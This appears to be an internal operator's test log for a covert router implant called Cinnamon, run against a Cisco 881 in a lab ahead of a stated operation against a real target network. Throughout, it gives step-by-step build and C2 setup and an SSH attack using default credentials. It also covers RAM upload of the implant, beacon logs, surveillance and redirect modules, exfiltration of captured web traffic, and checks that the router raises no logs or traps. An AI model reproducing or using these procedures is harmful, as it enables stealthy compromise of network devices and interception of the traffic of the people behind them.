Owner: User #71467

Cinnamon Cisco881 Testing

Cinnamon 881 Testing

The Bakery delivered Cinnamon for the Cisco881 on June 8.  Testing Cinnamon for use on an 881 for JQJSECONDCUT.  Operator has provided Target device configuration as well as some show commands from the Target.  This device is getting DHCPDynamic Host Configuration Protocol from an Internet provider, and is performing NATNetwork Address Translation and DHCPDynamic Host Configuration Protocol server role for inside hosts.  This device is also configured for DMVPN, presumably for VOIPVoice over Internet Protocol (Internet telephony) traffic.  CONOP will be to use at least two flux nodes, one outside the target network, and then exit and attack from a flux node on the inside LAN.

Testing Summary

• Bacon RPM cannot be installed on ICON - Workaround - compiled bacon on the BuildVM and copied the bacon executable and bacon.cfg files to /opt/bacon on ICON.
• IAC 2.4 does not work with DUTDevice Under Test configuration - transport input ssh.  IAC 2.4 requires a telnet connection.  Workaround - use IACInternational Access Code 4.1.
• Spicerack error on CentOS 5.6 Blot LPListening Post VMVirtual Machine - /lib/libcrypto.so.0.9.8: no version information available (required by ./spice_rack)
• Cinnamon implant has swindle.crt file size limitation

Progress/Notes

Cinnamon Setup Steps:

• Build implant on BuildVM
  • Edit /impant/cinnamon.cfg
    • Edit LP_DOMAIN_NAME to match the dns entry for the Blot Proxy server - www.suptest.com in our test case
    • Edit Tool ID that will be used by beastbox/swindle to identify Cinnamon traffic - 0x9219D10C for our test case (this is arbitrary)
    • Edit PROBE_DEST entries so that they all say something that will resolve to web server - www.google.com in our test case
  • Create cmn-880-norb.bin file for No Reboot, non-persisten implant
    • make clean 880-norb - outputs a folder called 880-norb
  • Create modules needed for testing - from /implant/modules directory
    • make clean survey-powerpc
    • make clean redir-powerpc
• Setup Blot 4.3 on CentOS 5.6 VMs
  • Beastbox and Swindle on Blot Proxy
    • Copy Blot 4.3 on to Blot Proxy VM
    • Install Beastbox and Swindle from rpms
    • Edit /etc/blot/beastbox.cfg
      • Edit external-ip to be the IP of the Blot Proxy server - 172.20.13.10 in our test case
      • Edit th name to spicerackH
      • Edit ip to Blot Spicerack server - 172.20.13.11 in our test case
      • Remove other th name entries
      • Edit server name Apache ip to the Cover Web server for 443 - 172.20.13.20 in our test case
      • Edit the server name Apache_2 ip to the Cover Web server for 80 - 172.20.13.20 in our test case 
      • Edit the server name BINDDNSDomain Name System server software ip to our DNSDomain Name System server for the test - X.X.X.X (LVLT-GOGL-8-8-8[US]) in our test case
      • Under itd swindle, edit tid num to Tool ID that has been baked into impant - 0x9219D10C in our test case
      • Under itd swindle, edit th to spicerackH
      • Remove other itd entries
    • Generate a certificate to match the DNSDomain Name System name for Blot Proxy and save to file in /etc/blot/itds/swindle/swindle.crt
      • openssl genrsa -out new_key.pem 1024
      • openssl req -new -key new_key.pem -out new_req.csr
      • openssl x509 -req -days 365 -in new_req.csr -signkey new_key.pem -out new_cert.crt
      • Note that CMNCaiman (Codename)? does not work with a larger key size - modulus 2048 does not work - CMN-1

      • File format for swindle.crt should be the output of 'openssl x509 -in new_cert.crt -noout -text' followed by new_cert.crt:

        Certificate:
        Data:
        Version: 1 (0x0)
        Serial Number:
        d8:2c:bd:b7:7d:47:4f:fc
        Signature Algorithm: sha1WithRSAEncryption
        Issuer: C=US, ST=CA, L=Home Town, O=Super T, OU=HR, CN=www.suptest.com/emailAddress=help@suptest.com
        Validity
        Not Before: Jun 16 13:05:52 2015 GMT
        Not After : Jun 15 13:05:52 2016 GMT
        Subject: C=US, ST=CA, L=Home Town, O=Super T, OU=HR, CN=www.suptest.com/emailAddress=help@suptest.co
        m
        Subject Public Key Info:
        Public Key Algorithm: rsaEncryption
        RSAEncryption algorithm Public Key: (1024 bit)
        Modulus (1024 bit):
        00:d8:2f:b2:59:62:b0:ee:a0:81:8e:38:04:6e:74:
        3d:dc:bf:41:99:b5:4c:d4:04:34:1c:83:21:1e:5a:
        23:11:ff:7f:a9:5c:51:92:c7:dc:4f:ba:0b:04:09:
        07:dd:b6:d6:a1:fa:97:01:34:8f:96:5e:cc:95:3c:
        b6:d1:61:8f:8a:a5:5b:ae:c4:05:b5:87:2a:30:4c:
        15:02:bb:95:dc:ba:98:bf:ab:d1:39:a0:d1:da:15:
        7d:95:48:1b:88:51:96:7c:f2:79:ff:a0:5d:d2:d8:
        87:a2:09:47:9c:f0:89:cc:98:57:d9:55:1c:c4:dd:
        80:c9:41:17:37:24:fc:89:7d
        Exponent: 65537 (0x10001)
        Signature Algorithm: sha1WithRSAEncryption
        0f:ed:5e:1a:61:98:f7:3a:8e:de:3d:6b:ee:5e:23:e7:24:30:
        d2:f1:e3:d5:ec:f4:3c:59:67:9c:e1:0a:25:dd:c4:5a:5b:f4:
        82:31:23:9f:ed:d9:fa:59:a2:d5:80:99:a1:1f:bc:19:90:29:
        77:16:29:18:25:38:03:a9:0d:54:dd:05:cb:f2:2a:ce:9a:e3:
        4d:c0:c1:e7:23:5c:c5:97:cf:94:85:a0:8d:1e:9a:f1:7d:6d:
        50:9e:e4:7f:a7:79:3e:8e:c4:a4:c3:51:28:a9:ac:31:dc:e1:
        4e:c1:d9:6f:08:99:96:02:ea:d4:79:f6:1e:de:cd:fa:a4:3d:
        b7:9d
        -----BEGIN CERTIFICATE-----
        MIICiTCCAfICCQDYLL23fUdP/DANBgkqhkiG9w0BAQUFADCBiDELMAkGA1UEBhMC
        VVMxCzAJBgNVBAgTAkNBMRIwEAYDVQQHEwlIb21lIFRvd24xEDAOBgNVBAoTB1N1
        cGVyIFQxCzAJBgNVBAsTAkhSMRgwFgYDVQQDEw93d3cuc3VwdGVzdC5jb20xHzAd
        BgkqhkiG9w0BCQEWEGhlbHBAc3VwdGVzdC5jb20wHhcNMTUwNjE2MTMwNTUyWhcN
        MTYwNjE1MTMwNTUyWjCBiDELMAkGA1UEBhMCVVMxCzAJBgNVBAgTAkNBMRIwEAYD
        VQQHEwlIb21lIFRvd24xEDAOBgNVBAoTB1N1cGVyIFQxCzAJBgNVBAsTAkhSMRgw
        FgYDVQQDEw93d3cuc3VwdGVzdC5jb20xHzAdBgkqhkiG9w0BCQEWEGhlbHBAc3Vw
        dGVzdC5jb20wgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBANgvsllisO6ggY44
        BG50Pdy/QZm1TNQENByDIR5aIxH/f6lcUZLH3E+6CwQJB9221qH6lwE0j5ZezJU8
        ttFhj4qlW67EBbWHKjBMFQK7ldy6mL+r0Tmg0doVfZVIG4hRlnzyef+gXdLYh6IJ
        R5zwicyYV9lVHMTdgMlBFzck/Il9AgMBAAEwDQYJKoZIhvcNAQEFBQADgYEAD+1e
        GmGY9zqO3j1r7l4j5yQw0vHj1ez0PFlnnOEKJd3EWlv0gjEjn+3Z+lmi1YCZoR+8
        GZApdxYpGCU4A6kNVN0Fy/IqzprjTcDB5yNcxZfPlIWgjR6a8X1tUJ7kf6d5Po7E
        pMNRKKmsMdzhTsHZbwiZlgLq1Hn2Ht7N+qQ9t50=
        -----END CERTIFICATE-----

        
        
        

    • Service beastbox start
    • Verify that Beastbox is working by web browsing to the Proxy IP and you should get forwarded to the Cover Web server for 80 and 443
  • Setup Blot LP
    • Copy spicerack, salt, pepper, and scramble rpms onto Blot LP
    • Install spicerack, salt, pepper and scramble from rpms
    • Run spicerack - /opt/spicerack/spice_rack 2>&1 >/dev/null & - libcrypto.so.0.9.8 error here - CMN-3
    • Disbabled iptables to get connection from impant to work - need to add rule to firewall instead of disabling
  • Copy Cinnamon network and redirect modules from BuildVM to /opt/pepper/cmds directory on LP
    
    • scp implant/modules/powerpc/redir-powerpc.module root@172.20.13.11:/opt/pepper/cmds/.
    • scp implant/modules/powerpc/survey-powerpc.module root@172.20.13.11:/opt/pepper/cmds/.
  • CoverWeb server - standard web server for 80 and 443 should be configured
• Setup ICON VM
  • Copy bacon rpm to ICON VM
  • Install bacon from rpm - error here, had to compile bacon on the Build VMVirtual Machine and copy the executable and .cfg file to ICON /opt/bacon/ CMN-2
  • On Blot LP, use salt to calculate the Node ID
    
    • Copy first 0x80 bytes from Motherboard info in output if IOSApple operating system for small devices command "show diag" on the DUTDevice Under Test into a flie /opt/salt/cookie.txt
    • ./salt cookie.txt
  • Make a copy of /opt/bacon/bacon.cfg called 881-cfg
  • Edit the 881-cfg file
    • Change Node ID (called UNIQUE_ID in this file) calculated by salt - 0xfb583dbf for 881-Top
    • Change Toold ID - enter Tool ID that was used with beastbox/swindle - 0x9219D10C in our test case
  • Copy the 880-norb folder from BuildVM to ICON using windows share
    
  • Copy the 880-norb folder from BuildVM to ICON using scp to avoid the above error
    
    • Must initiate SCP from ICON due to iptables - scp -r root@10.9.8.108:/home/cmn-build/cmn-5.0.0/implant/880-norb .
      
  • Copy IACInternational Access Code 4.1 to ICON - it includes remote
    
  • Setup remote
    • su - root
    • chmod -R +x data/config/npc3/profile
    • Edit data/config/npc3/target.py
      • interpacket time = 0.1
      • arch = 'ppc'
      • machine = '880'
    • Edit target-aliases with IP of target - XXX.XX.XXX.XXX (CABLEVISION[US]) in our test case
    • Copy ramUploadAndExecuteCmn800.py from utilities on BuildVM to ICON's NPC3CP-5.2/bin/remote/bin directory
• Generate Seed traffic on the test network - watch -n2 wget -nv -T 1 -O /dev/null http://alias.google.com

1. Smoke Test - Install CMN
   • Reload 881 router to start with clean setup
     • Sh proc cpu hist = 2% CPU without traffic load
     • Sh mem = Total-26214400 :: Used-9686440 :: Free-16527960
   • From Cinnabuild-5.0.0 VM:
     • /home/cmn-build/cmn-5.0/implant# make clean 880-norb   (script completes and creates 880-norb directory)
   • From Cinnamon-ICON:
     • /home/user1# scp -r root@10.9.8.108:/home/cmn-build/cmn-5.0/implant/880-norb/ .
       • Enter password and directory copies over

     • /home/user1/IAC 4.1.0/delivery/IAC-4.1.0/bin# ./sshiac-ppc -i XXX.XX.XXX.XXX (CABLEVISION[US]) -l cisco:cisco

       • 881 cpu spikes to 99% two different times for about 20 seconds each
       • LGDHM codes given and ssh-iac is complete
     • /home/user1/IAC 4.1.0/delivery/NPC3CP-5.2/bin/remote# vim target-aliases
       
       • Configure target IP and procid
       • #source aliases = remote>
       • #broad
       • #./seq set 1
       • #broad = status OK

       • [target:XXX.XX.XXX.XXX (CABLEVISION[US])] remote> ./bin/ramUploadAndExecuteCmn800.py /home/user1/880-norb/cmn-880-norb.bin

       • "yes"
       • file chunks uploaded and reach 100%
       • Wait 3 minutes minimum
         • sh proc cpu hist: spikes to 11-12% for five seconds about once a minute and then settles in to 4-6% repeatidly
         • sh mem = Total-26214400 :: Used-9686440 :: Free-16527960
2. Smoke Test - Establish Comms

   • [root@blot-spicerack log]# tail -f spicerack.log

   • user1@Cinnamon-ICON:/opt/bacon$ sudo ./bacon XXX.XX.XXX.XXX (CABLEVISION[US]) 881.cfg www.suptest.com 443

     • Spicerack log shows callback from implant

       • 06/16/2015 13:10:19.065 - Mission2:0:Debug: Socket accept info: client address = 172.20.13.10, port = 32991
         06/16/2015 13:10:19.071 - Mission2:11:Info : SESSION STARTED
         06/16/2015 13:10:19.071 - Mission2:11:Debug: Connected To: IP address = 172.20.13.10, port = 32991.
         06/16/2015 13:10:19.916 - Mission2:11:Debug: +++Packet received (12 bytes).+++
         06/16/2015 13:10:19.916 - Mission2:11:Debug: +++Packet received (780 bytes).+++
         06/16/2015 13:10:19.916 - Mission2:11:Info : +++Message received (792 bytes).+++
         06/16/2015 13:10:19.916 - Mission2:11:Debug: Time packet received = 06/16/2015 13:10:19.916.
         06/16/2015 13:10:19.916 - Mission2:11:Debug: Data Length = 708
         06/16/2015 13:10:19.917 - Mission2:11:Debug: Tool ID Xor = 3
         06/16/2015 13:10:19.917 - Mission2:11:Info : Tool ID = 0x9219d10c
         06/16/2015 13:10:19.917 - Mission2:11:Debug: Seed = 0x33fb3f95
         06/16/2015 13:10:19.917 - Mission2:11:Debug: Hash = 0x3536
         06/16/2015 13:10:19.917 - Mission2:11:Info : Node ID = 0xfb583dbf
         06/16/2015 13:10:19.917 - Mission2:11:Debug: Timestamp = 0x000014a4
         06/16/2015 13:10:19.917 - Mission2:11:Debug: Module ID = 1
         06/16/2015 13:10:19.917 - Mission2:11:Debug: Last Packet Indicator = 1
         06/16/2015 13:10:19.932 - Mission2:11:Debug: Payload data length from encrypted header = 692.
         06/16/2015 13:10:19.932 - Mission2:11:Debug: Payload data type = 0, data length = 686, data end = 1.
         06/16/2015 13:10:19.932 - Mission2:11:Debug: COMMS-H request mission module name = Beacon, ID = 1.
         06/16/2015 13:10:19.932 - Mission2:11:Info : +++BTHP REQUEST PACKET 1 RECEIVED - Beacon+++
         06/16/2015 13:10:19.932 - Mission2:0:Info : dumpRawPacket: For RCVD_RAW_FILE
         06/16/2015 13:10:19.935 - Mission2:11:Info : Dumped raw packet received to file: /opt/spicerack/data/fb583dbf/Beacon/receive/20150616131019_0000000011.raw.
         06/16/2015 13:10:19.935 - Mission2:11:Debug: Payload data type = 0, data length = 686, data end = 1.
         06/16/2015 13:10:19.938 - Mission2:11:Debug: Writing to receive file /opt/spicerack/data/fb583dbf/Beacon/receive/20150616131019_0000000011.rcvd.
         06/16/2015 13:10:19.938 - Mission2:11:Info : Dumped BTHP request string received to file: /opt/spicerack/data/fb583dbf/Beacon/receive/20150616131019_0000000011.rcvd.
         06/16/2015 13:10:19.938 - Mission2:11:Info : ---Building COMMS-H signal response(s)---
         06/16/2015 13:10:19.938 - Mission2:11:Debug: Parsing .send file for commands.
         06/16/2015 13:10:19.939 - Mission2:11:Debug: No commands present. Sending No Op
         06/16/2015 13:10:19.939 - Mission2:11:Debug: Total COMMS-H payload length of command(s) reply data = 15
         06/16/2015 13:10:19.939 - Mission2:11:Debug: Single packet response, payloadLength = 77, payloadDataLength = 15, lastPacketIndicator = 1
         06/16/2015 13:10:19.939 - Mission2:11:Debug: Inserting Tool ID = 0x9219d10c, Tool ID Xor Key Index = 3
         06/16/2015 13:10:19.939 - Mission2:11:Debug: Seed = 0x91a54cfe
         06/16/2015 13:10:19.939 - Mission2:11:Debug: COMMS-H response auth hash = 0xac54.
         06/16/2015 13:10:19.939 - Mission2:11:Debug: Returning built 1 COMMS-H reply packet(s).
         06/16/2015 13:10:19.939 - Mission2:11:Debug: BTHP reply payload data length = 77.
         06/16/2015 13:10:19.939 - Mission2:11:Debug: hdr_len = 24, data_len = 77.
         06/16/2015 13:10:19.939 - Mission2:11:Debug: Before response write, replySize = 101.
         06/16/2015 13:10:19.939 - Mission2:11:Debug: ---Packet sent (101/101 bytes).---
         06/16/2015 13:10:19.939 - Mission2:11:Info : ---Message sent (101 bytes).---
         06/16/2015 13:10:19.939 - Mission2:11:Debug: Time response sent = 06/16/2015 13:10:19.939.
         06/16/2015 13:10:19.939 - Mission2:11:Info : ---COMMS-H REPLY SENT (1/1) - ---
         06/16/2015 13:10:19.942 - Mission2:11:Info : Dumped raw packet sent to file: /opt/spicerack/data/fb583dbf/Beacon/sent/20150616131019_0000000011.raw.
         06/16/2015 13:10:19.945 - Mission2:11:Debug: Writing to sent file /opt/spicerack/data/fb583dbf/Beacon/sent/20150616131019_0000000011.sent.
         06/16/2015 13:10:20.916 - Mission2:11:Debug: CLOSING SOCKET 5
         06/16/201 5 13:10:20.916 - Mission2:11:Debug: Shutdown connection: IP address = 172.20.13.10, port = 32991.
         06/16/2015 13:10:20.917 - Mission2:11:Info : SESSION ENDED

       • Log file is appended on Blot-Proxy-CentOS 5.6

         • [root@blot blot]# pwd
           /var/log/blot
           [root@blot blot]# ls -phal
           total 148K
           drwxr-xr-x 2 beastbox blot 4.0K Mar 2 06:10 ./
           drwxr-xr-x 17 root root 4.0K Jun 16 04:02 ../
           -rw-r--r-- 1 beastbox blot 131K Jun 16 09:14 beastbox.log.enc

3. Smoke Test - Install/Uninstall Modules
   • Create module and copy to Spicerack VM

     • root@cinnabuild-5:/home/cmn-build/cmn-5.0/implant/modules# make clean redir-powerpc

     • [root@blot-spicerack cmds]# scp -r root@10.9.8.108:/home/cmn-build/cmn-5.0/implant/modules/redir/powerpc/redir-powerpc.module .

   • Create upload cmd file
     • /opt/pepper/cmds

     • [root@blot-spicerack cmds]# vi redir-powerpc.cmd
       module_upload|redir-powerpc.module

     • [root@blot-spicerack cmds]# .././pepper redir-powerpc.cmd

     • [root@blot-spicerack cmds]# cp redir-powerpc.send /opt/spicerack/data/fb583dbf/Beacon/send/.

     • user1@Cinnamon-ICON:/opt/bacon$ sudo ./bacon XXX.XX.XXX.XXX (CABLEVISION[US]) 881.cfg www.suptest.com 443
       Sent packet to XXX.XX.XXX.XXX (CABLEVISION[US]):44719

       • [root@blot-spicerack receive]# more 20150616170301_0000000013.status

         [Command Results]
         Total commands reporting status: 1

         Command: 1
         Module: 4
         Command: 0
         Status: SUCCESS

         [root@blot-spicerack receive]# more 20150616171309_0000000001.rcvd

         [Session Info]
         Rcvd Start Time = 06/16/2015 17:13:09.854
         Session = 1
         Request Type = HTTPS
         Module = Beacon

         [Connection Info]
         Proxy IP = 172.20.13.10:443
         Source IP = XXX.XX.XXX.XXX (CABLEVISION[US]):27816
         Destination IP = 172.20.13.11:4097

         [Implant Info]
         Unique Implant ID = 0xfb583dbf
         Tool ID = 0x9219d10c
         Up Time = 19854
         Impersonated IP = XXX.XXX.XXX.XX (CORE2[US])

         [Versioning]
         Cinnamon Version = 5.0.0 Jun 16 2015 - 07:17:00
         IOS Version = C880 Software (C880DATA-UNIVERSALK9-M), Version 15.1(2)T4, RELEASE SOFTWARE (fc1)
         Build ID = 1856:7b366e5a9b31

         [Beacon Health]
         Max Consecutive Timed Beacon Failures = 10
         Failed Beacon Counter = 6
         Beacon Failsafe Status = Not Tripped

         [Memory Health]
         IOMEM Free Size = 0x00fbac58 Bytes

         [BreakPoints]
         Total Breakpoints = 6
         Address Label
         ---------- -----
         0x80495534 0x4
         0x80cced88 0x4
         0x80258478 0x4
         0x8111eca0 0x4
         0x802376dc 0x4
         0x8210cfbc 0x1

         [Modules]
         Active Modules: 5
         Module Version
         0 5.0.0
         1 5.0.0
         2 5.0.0
         3 5.0.0
         4 5.0.0

     • Upload Survey Module
       • Before survey module upload:
         

         881-Top#show mem
         Head Total(b) Used(b) Free(b) Lowest(b) Largest(b)
         Processor 84A91420 164031456 42485408 121546048 114024412 109062604
         I/O E700000 26214400 9549340 16665060 16487744 16493660

       • Created survey module on BuildVM - make clean survey-powerpc

       • Copied survey module to Blot Spicerack - scp survey-powerpc root@172.20.13.11:/opt/pepper/cmds/.
       • Created survey_upload.cmd - module_upload|survey-powerpc.module
       • Peppered survey_upload.cmd - .././pepper survey_upload.cmd
       • Copied .send file to send directory and triggered implant
       • Module uploaded successfully:
         

         [root@blot-spicerack receive]# more 20150616182438_0000000002.status

         [Command Results]
         Total commands reporting status: 1

         Command: 1
         Module: 4
         Command: 0
         Status: SUCCESS

       • Memory after module upload:

         881-Top#show mem
         Head Total(b) Used(b) Free(b) Lowest(b) Largest(b)
         Processor 84A91420 164031456 42485460 121545996 114024412 109062604
         I/O E700000 26214400 9549340 16665060 16487744 16493660

       • Did not observe any log messages
4. Smoke Test - Uninstall CMN
   1. Created command file to uninstall - 

      device_uninstall|0

   2. Peppered command and copied to send directory, triggered CMN
   3. Impant picked up file - saw no spike in CPU, but instead a drop from about 11% five second value to 5%.
   4. memory after uninstall
      

      881-Top#show mem
      Head Total(b) Used(b) Free(b) Lowest(b) Largest(b)
      Processor 84A91420 164031456 42497720 121533736 114024412 109062604
      I/O E700000 26214400 9549340 16665060 16487744 16493660

   5. Uninstall leaves behind IAC 
5. Ad hoc Test - Reinstall after install/uninstall
   1. After test 4, attempted to install base CMNCaiman (Codename)? again via remote - upload successful
   2. Memory after uninstall
      

      881-Top#show mem
      Head Total(b) Used(b) Free(b) Lowest(b) Largest(b)
      Processor 84A91420 164031456 42497720 121533736 114024412 109062604
      I/O E700000 26214400 9549340 16665060 16487744 16493660

   3. Performed 3 base install/uninstalls with device_uninstall|0 command and 3 more base uninstalls with device_uninstall|1

   4. No crash, no cpu spikes, no syslog messages to buffer or console.
   5. Collected a show tech after uninstall
   6. Memory after install/uninstalls - Used memory about 12kb lower and no change to largest free block :
      

      881-Top#show mem
      Head Total(b) Used(b) Free(b) Lowest(b) Largest(b)
      Processor 84A91420 164031456 42485788 121545668 114024412 109062604
      I/O E700000 26214400 9549340 16665060 16487744 16493660

6. Ad hoc Test - Install CMNCaiman (Codename)? base and then both modules with one command file
   1. Reloaded device to start with clean DUT
   2. Attacked with SSHIAC and uploaded CMNCaiman (Codename)? base
   3. created a command file with both redir and survey module upload commands
      module_upload|survey-powerpc.module
      module_upload|redir-powerpc.module
   4. When pepper was run on this file, command file validation failed error - expecting 1 line
   5. When I tried to put both files on 1 line, got a command file validation error - expecting 1 argument
   6. Created two separate .send files to upload the modules and copied both into send directory, triggered implant
7. Ad hoc Test - Attempt to install modules when they are already installed
   1. Got the following status file
      

      [root@blot-spicerack receive]# more 20150616210905_0000000019.status

      [Command Results]
      Total commands reporting status: 4

      Command: 1
      Module: 4
      Command: 0
      Status: FAILURE - 0x00000004

      Command: 2
      Module: 4
      Command: 0
      Status: SUCCESS

      Command: 3
      Module: 4
      Command: 0
      Status: FAILURE - 0x00000004

      Command: 4
      Module: 4
      Command: 0
      Status: SUCCESS

      [root@blot-spicerack receive]#

   2. No logs reported on console or syslog

8. Ad hoc Test - Simulate power failure, subsequent beacon attempt, and re-attack
   • Memory prior to start of test:

     • Head Total(b) Used(b) Free(b) Lowest(b) Largest(b)
       Processor 84A91420 164031456 42310372 121721084 116302072 111284268
       I/O E700000 26214400 9549340 16665060 16525184 16531100

   • Pull power from 881 while running with CMNCaiman (Codename)? and modules previously installed and running successfully
     • No suspicious console/buffer logs on reboot other than what would show up after a reboot after power failure
     • Memory post boot-up:

       • Head Total(b) Used(b) Free(b) Lowest(b) Largest(b)
         Processor 84A91420 164031456 41706948 122324508 116079892 111069152
         I/O E700000 26214400 9683944 16530456 16527360 16527324

   • Attempt to send bacon simulating operator that is not aware that the target device had lost power
     • Sent multiple ./bacon beacon requests without response on Spicerack LP.
     • No addtional console/buffer logs or snmp traps show from target device
   • Re-attack with ssh-iac and re-implant 881 target device:

     • root@Cinnamon-ICON:/home/user1/IAC 4.1.0/delivery/IAC-4.1.0/bin# ./sshiac-ppc -i XXX.XX.XXX.XXX (CABLEVISION[US]) -l cisco:cisco

       • Received: LGDHM
       • #source aliases = remote>
       • #broad
       • #./seq set 1
       • #broad = status OK

       • [target:XXX.XX.XXX.XXX (CABLEVISION[US])] remote> ./bin/ramUploadAndExecuteCmn800.py /home/user1/880-norb/cmn-880-norb.bin

       • "yes"
       • file chunks uploaded and reach 100%
       • Wait 3 minutes minimum
       • Sent beacon from ICON to DUTDevice Under Test -> successfully received reply on Spicerack LP
         • No console/bugger logs or snmp traps received
9. Long Term Monitoring - Test for memory leaks
   1. Configured 881-Bottom to send SNMPSimple Network Management Protocol traps, syslogs and SNMPSimple Network Management Protocol monitoring to solarwinds server
   2. Configured with Seeds traffic from a single host connected behind 881
   3. Implanted with Cinnamon and redir and survey modules
   4. Connected IXIA to 881 and 3845 to run traffic - have not started traffic yet
   5. Established a survey rule for all 80 and 443 traffic and with a duration of 12 hours - will let it run over night and check solarwinds in the morning.  Currently only seeds traffic running wget every 2 seconds. The following morning I was able to exfil all the data from the device - saw the 80 and 443 traffic after unscrambling the file.  
   6. Enabled two redirect rules to run overnight - traffic not currently matching but rules are active.
   7. Tried enabling IXIA and was attempting different network neighborhood settings - none were resulting in successful tcp sessions. Logged on Seeds host and attempted to ping 10.100.100.1 - could not.  Logged onto 3845 and noticed the eigrp session for 881_bottom was not active and tunnel was down.  Checked 881 and the console window had closed out.  Re-established console session and uptime was 1 minute, crashinfo in flash.
      From SNMPSimple Network Management Protocol Trap:
      whyReload = error - an Illegal Opcode exception, PCPersonal Computer 0x804D1778 
      sysUpTime = 42.31 seconds 
      snmpTrapOID = SNMPv2-MIB:coldStart 
      sysUpTime = 1 minute 12.37 seconds 
   8. Attempted to reproduce now that CMNCaiman (Codename)? is not on device after reload, but it is not crashing at this time.  Need to put CMNCaiman (Codename)? back on and attempt to reproduce crash. - CMN-4
   9. Re-installed CMNCaiman (Codename)? and both modules and ran the same IXIA traffic test three more times, and was not able to reproduce the crash.
10. Test restarting modules/loading/unloading without reboot
    1. 881-Top with CMNCaiman (Codename)? installed non-persistently
    2. Load both redir and tunnel modules with 1 command
        

       [root@blot-spicerack receive]# more 20150622192913_0000000070.status

        

       [Command Results]
       Total commands reporting status: 2

        

       Command: 1
       Module: 4
       Command: 0
       Status: SUCCESS

        

       Command: 2
       Module: 4
       Command: 0
       Status: SUCCESS

    3. Remove both redir and tunnel modules - module 4 fails - cannot delete redir module:
       

       [root@blot-spicerack receive]# more 20150622194021_0000000075.status

       [Command Results]
       Total commands reporting status: 2

       Command: 1
       Module: 4
       Command: 1
       Status: SUCCESS

       Command: 2
       Module: 4
       Command: 1
       Status: FAILURE - 0x00000008

    4. Attempted to remove module 4 individually, but I keep getting the same error code.
    5. Beginning again with clean DUT
    6. Loaded cmn-880-norb - installed with modules 0,1,2,4
    7. First load redir module - installed as module 3
    8. Second load survey module - installed as module 5
    9. Deleted module 3 and module 5 in one command - success
    10. Repeating steps g-i 4 times. No errors
    11. Attemped to delete modules that weren't present, failed gracefully with error code 8
11. SNMP Trap Test 
    1. Tested upload of CMNCaiman (Codename)? as well as upload of modules and CMNCaiman (Codename)? uninstall - no SNMPSimple Network Management Protocol Trap recorded
    2. Tested beacons, no SNMPSimple Network Management Protocol Trap
    3. Uploaded redir module and then uploaded survey modules. No trap.
    4. Uploaded redir rules as well as survey for 80 and 53 rules.
    5. removed survey scenario
    6. Performed show survey - no scenarios uploaded
    7. Attemped to upload a cmd file from send directory - just received regular beacon and the cmd file was not picked up
    8. Performed a redir show and saw no rules present - expected rules to be present since I had uploaded them - rules had a timer to expire
    9. Re-uploaded rules with a longer timer
    10. Disabled one rule, then deleted both rules - no traps throughout this test.
    11. Deleted both modules
    12. Uploaded both modules and configured an interface redirection rule, and a reverse to match, to redirect the seeds host from X.X.X.XX (LVLT-GOGL-8-8-8[US]) to 172.20.13.10
    13. Tested the rule by web browsing from Seeds host and rule works as expected
    14. Setup the survey rule again - this time i let it run for 10 minutes and then exfilled the data successfully.
    15. Performed a device show config
    16. Changed beacon interval to 20s - beacons arriving every 20s
    17. Performed a device stick:
        

        881-Top#show rom
        ReadOnly ROMMONRead-Only Memory Monitor Cisco bootstrap program version:

        System Bootstrap, Version 12.4(22r)YB5, RELEASE SOFTWARE (fc1)
        Technical Support: http://www.cisco.com/techsupport
        Copyright (c) 2009 by cisco Systems, Inc.

        No upgrade ROMMONRead-Only Memory Monitor Cisco bootstrap program programmed or not yet run
        Currently running ROMMONRead-Only Memory Monitor Cisco bootstrap program from ReadOnly region
        ROMMON from Upgrade region is selected for next boot

        881-Top#

    18. No syslogs or SNMPSimple Network Management Protocol traps observed during all tests so far

    19. Performed a device level 1 uninstall - no syslogs, console logs or SNMPSimple Network Management Protocol traps observed during any of the above testing.
    20. Reinstalled CMNCaiman (Codename)? and both modules, changed beacon interval to 20s, then stuck it
    21. Rebooted and it came back and began beaconing every 20s as expected after a few minutes
    22. It returned with only the base CMN, no modules, as expected.
    23. next test might be uninstall with level 0 instead of 1
    24. Uninstalled with level 0, beacons stopped coming in every 20s.  Rebooted and beacons started back, CMNCaiman (Codename)? was present with no modules.
    25. Sent uninstall with level 0 again, repeated step x - same result
    26. Uninstall with level 1 - CMNCaiman (Codename)? stopped beaconing and now show rom says it will boot from read-only on next boot
    27. Rebooted device to clear CMNCaiman (Codename)? - no traps, console logs or syslogs observed
12. Boot times
    1. Establish baseline with no CMN, no traffic, time from when pings stop to pings beginning again - 3 reboots - 1m50s, 1m45s, 1m49s
    2. Install CMNCaiman (Codename)? sticky-norb, uploaded module, changed beacon time to 10s.
    3. Rebooted, waited for beaconing every 10s to resume between each reboot - 2m31s, 2m29s, 2m29s
13. Test Upgrade/Downgrade IOSApple operating system for small devices while CMNCaiman (Codename)? present
    1. DUT implanted with CMNCaiman (Codename)? persistently, beaconing every 10s
    2. Reload in order to perform Upgrade IOSApple operating system for small devices from 15.1(2)T4 to 15.2(4)M3
    3. DUT did not complete boot process after reload, got an error message "no sreloc section", then IOSApple operating system for small devices loaded and it looked like config from NVRAMNon-volatile Random Access Memory was loaded, 881 gave an error message about configuring a config-key, and then was hung.  Could not get a response on console or over telnet.  Sent break and then it finally finished the boot, seems like the tripwire worked.  CMN not sending beacons, but 881 did finish booting and is back up.
    4. Downgraded code back to 15.1(2)T4 - DUTDevice Under Test booted without a problem
    5. Attempted to reproduce step b - reproduced issue.  
    6. Next step - confirm that this does not happen without CMNCaiman (Codename)? loaded.
    7. Recovered by sending break, downgrading IOSApple operating system for small devices and then I got beacons again.. Uninstalled CMNCaiman (Codename)? with level 1
    8. Was able to perform IOSApple operating system for small devices upgrade without CMNCaiman (Codename)? installed.  Created JIRAUser Managment Software (Atlassian) issue for 15.2(4)M3 CMN5.
14. Test Tool Upgrade command
    1. Start with clean DUT, no CMNCaiman (Codename)? installed
    2. Establish FLXFluxwire connection
    3. Upload CMNCaiman (Codename)? sticky norb with beacon interval set to every 7 days
    4. Rx'd beacon on Spicerack - uploaded both modules
    5. Created another CMNCaiman (Codename)? 880-norb-sticky build with a built-in 1min beacon interval and copied 880 directory containing .upgrade file over to Spicerack /opt/pepper/cmds/
    6. Found that the example command is not correct in pepper:
        

       [root@blot-spicerack cmds]# more device_upgrade.cmd
       # Command Name: UPGRADE IMPLANT
       # parameter1: the path to the cmn-upgrade-<platform>.elf file that will be sent
       # to the implant.
       #
       device_upgrade|cinnamon_upgrade.elf
       [root@blot-spicerack cmds]# 
       It should reference .upgrade file - CMN-6

